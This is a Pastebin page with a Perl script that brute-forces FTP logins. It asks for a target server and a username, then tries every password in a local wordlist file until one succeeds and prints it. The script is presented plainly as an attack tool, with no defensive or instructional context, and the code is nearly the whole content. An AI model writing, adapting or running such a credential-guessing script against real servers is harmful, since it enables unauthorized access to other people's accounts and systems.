Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use strict;
- use warnings;
- use Net::FTP;
- print "Enter the FTP server I should try to brute force::\n";
- chomp(my $server = <STDIN>);
- print "What username do you want to brute force?\n";
- chomp(my $user = <STDIN>);
- my $ftp = Net::FTP->new( $server )
- or die "\nCould not connect: $!";
- open WORDLIST, "wordlist.txt"
- or die "\nCould not open wordlist.txt. Exiting...\n";
- chomp( my @wordlist = <WORDLIST> );
- close WORDLIST;
- my $password;
- foreach $password (@wordlist)
- {
- next unless $ftp->login($user, $password);
- print "$password is the password for user : $user !\n";
- last;
- }
- die "Password was not found! Error"
Advertisement